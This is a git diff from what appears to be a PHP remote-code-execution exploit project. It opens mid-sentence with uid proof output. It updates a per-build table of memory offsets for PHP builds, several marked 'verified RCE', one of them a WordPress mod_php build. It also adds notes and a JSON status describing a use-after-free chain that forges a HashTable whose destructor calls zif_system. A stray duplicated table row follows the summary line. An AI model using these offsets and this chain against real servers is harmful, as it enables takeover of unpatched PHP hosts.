uid=1000(...) gid=1000(...) groups=... ``` On the reference run the proof was `uid=1000` (the unprivileged lab user), diff --git a/docs/profile-inventory.md b/docs/profile-inventory.md index 49e2813..2ac0853 100644 --- a/docs/profile-inventory.md +++ b/docs/profile-inventory.md @@ -8,13 +8,19 @@ Generated from `profiles/*.json` by `tools/php2shell_inventory.py`. | 8.0.30 | php-8.0.30-bookworm-aarch64 | 0x31ef70 | 0x40ddb0 | - | - | - | - | no | | 8.1.34 | php-8.1.34-bookworm-aarch64 | 0x341e08 | 0x42e7a0 | - | - | - | - | no | | 8.2.34 | php-8.2.34-bookworm-aarch64 | 0x36ff48 | 0x4606c0 | - | 0 | 0 | 406 | no | +| 8.3.0 | php-8.3.0-bookworm | 0x3771f0 | 0x467cf0 | - | - | - | 406 | no | | 8.3.33 | php-8.3.33-wordpress-mod_php | 0x377248 | 0x4737e0 | - | 815 | 63 | 406 | no | | 8.3.35 | php-8.3.35-bookworm-aarch64 | 0x377428 | 0x46fcc0 | - | 841 | 63 | 406 | no | | 8.4.25 | php-8.4.25-bookworm-aarch64 | 0x42fa30 | 0x637ae0 | 0x690d8 | 841 | 63 | 406 | yes | | 8.4.26 | php-8.4.26-bookworm-amd64 | 0x465370 | 0x65eb60 | 0x690d8 | 841 | 79 | 406 | yes | +| 8.4.26 | php-8.4.26-fpm | 0x386660 | 0x54a0d0 | - | - | - | - | yes | +| 8.5.0 | php-8.5.0-bookworm | 0x503510 | 0x731d80 | - | 841 | 63 | 406 | no | | 8.5.10 | php-8.5.10-bookworm-aarch64 | 0x52e130 | 0x75d360 | 0x690d8 | 841 | 63 | 406 | yes | -| 8.5.11 | php-8.5.11-bookworm-amd64 | 0x5996e0 | 0x7b47a0 | 0x690d8 | 841 | 63 | 406 | yes | | 8.5.11 | php-8.5.11-bookworm-aarch64 | 0x5314f0 | 0x761b80 | 0x690d8 | 841 | 63 | 406 | yes | +| 8.5.11 | php-8.5.11-bookworm-amd64 | 0x5996e0 | 0x7b47a0 | 0x690d8 | 841 | 63 | 406 | yes | + +**14 profiles, 6 with verified RCE** (5 Apache/mod_php + 1 PHP-FPM). +| 8.4.26 FPM | php-8.4.26-fpm | 0x386660 | 0x54a0d0 | - | - | - | - | yes | ## Per-build notes @@ -38,6 +44,18 @@ This is the 8.5 branch, fixed in 8.5.12. `php:8.4.26-apache`, bookworm. Verified 3/3 manually and through the factory. Fixed in 8.4.27. This is the profile used against the local 8.4.26 laboratory. +### PHP 8.4.26 FPM — RCE verified + +nginx + PHP-FPM, amd64, user-prefix build of the php-8.4.26 source tarball +(no Docker image; built by `lab/fpm/build_php.sh`). Exploits the stale +`BG(unserialize)` state instead of the Apache progress-cache chain — the +stage columns do not apply. `basic_globals=0xa04660`, `struct_size=8216`; +the 8216-byte struct recycles between two heap slots and a mismatch +self-corrects within four retries. Verified `uid=...` proof in the local +laboratory; `php2shell_fpm.py patchcheck` confirms 8.4.27 is clean +(`level=0`, workers survive). Fixed in 8.4.27. See +[docs/fpm-chain.md](fpm-chain.md). + ### PHP 8.3.35 — leaks only `php:8.3.35-apache`. Stage 1 (heap base) and stage 2 (libphp base) reproduce; diff --git a/profiles/8.4.26-fpm.json b/profiles/8.4.26-fpm.json index 21c529e..76dac14 100644 --- a/profiles/8.4.26-fpm.json +++ b/profiles/8.4.26-fpm.json @@ -29,6 +29,6 @@ "session_upload_progress": "On", "workers": 2 }, - "status": "RCE verified in the nginx+FPM lab: post-RINIT OOM leaves BG(unserialize) stale (level=1), the pre-RINIT rfc1867 session_start of a follow-up multipart reuses the freed struct, a controlled buffer forges var_hash so R:2 yields an IS_REFERENCE -> fake HashTable whose pDestructor is zif_system; the worker aborts after the command and FPM respawns it.", + "status": "RCE verified in the nginx+FPM lab: post-RINIT OOM leaves BG(unserialize) stale (level=1), the pre-RINIT rfc1867 session_start of a follow-up multipart reuses the freed struct, a controlled buffer forges var_hash so R:2 yields an IS_REFERENCE -> fake HashTable whose pDestructor is zif_system; the worker aborts after the command and FPM respawns it. The 8216-byte struct recycles between two heap slots; a mismatch self-corrects within four retries (see docs/fpm-chain.md).", "oom_mb": 4 }